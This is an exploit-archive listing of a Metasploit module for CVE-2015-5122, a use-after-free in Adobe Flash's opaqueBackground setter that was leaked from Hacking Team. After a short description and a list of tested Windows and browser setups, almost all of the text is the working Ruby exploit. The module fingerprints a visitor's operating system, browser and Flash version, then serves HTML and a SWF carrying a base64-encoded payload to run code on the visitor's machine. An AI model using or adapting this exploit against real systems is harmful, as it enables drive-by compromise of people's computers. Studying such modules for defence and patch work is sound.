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Adobe Flash opaqueBackground Use After Free

Adobe Flash opaqueBackground Use After Free
Posted Jul 13, 2015
Authored by sinn3r, juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public on its July 2015 data leak, was described as an Use After Free while handling the opaqueBackground property 7 setter of the flash.display.DisplayObject class. This Metasploit module is an early release tested on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194, windows 8.1, Firefox and Adobe Flash 18.0.0.203, Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and Windows 8.1, Firefox and Adobe Flash 18.0.0.194

tags | exploit
systems | windows, 7
advisories | CVE-2015-5122
MD5 | 46fe95b7200053c30eae55ca1369b78f

Adobe Flash opaqueBackground Use After Free

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash opaqueBackground Use After Free',
'Description' => %q{
This module exploits an use after free on Adobe Flash Player. The vulnerability,
discovered by Hacking Team and made public on its July 2015 data leak, was
described as an Use After Free while handling the opaqueBackground property
7 setter of the flash.display.DisplayObject class. This module is an early release
tested on:

Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203,
Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194,
windows 8.1, Firefox and Adobe Flash 18.0.0.203,
Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and
Windows 8.1, Firefox and Adobe Flash 18.0.0.194
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovered on HackingTeam info leak
'juan vazquez', # Ported to Msf
'sinn3r' # Testing and some editing
],
'References' =>
[
['CVE', '2015-5122'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
end

false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.203')
end

false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 06 2015',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf

super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
print_warning("Target setup not supported")
send_not_found(cli)
return
end

if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]

if target.name =~ /Windows/
platform_id = 'win'
end

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5122', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end
end
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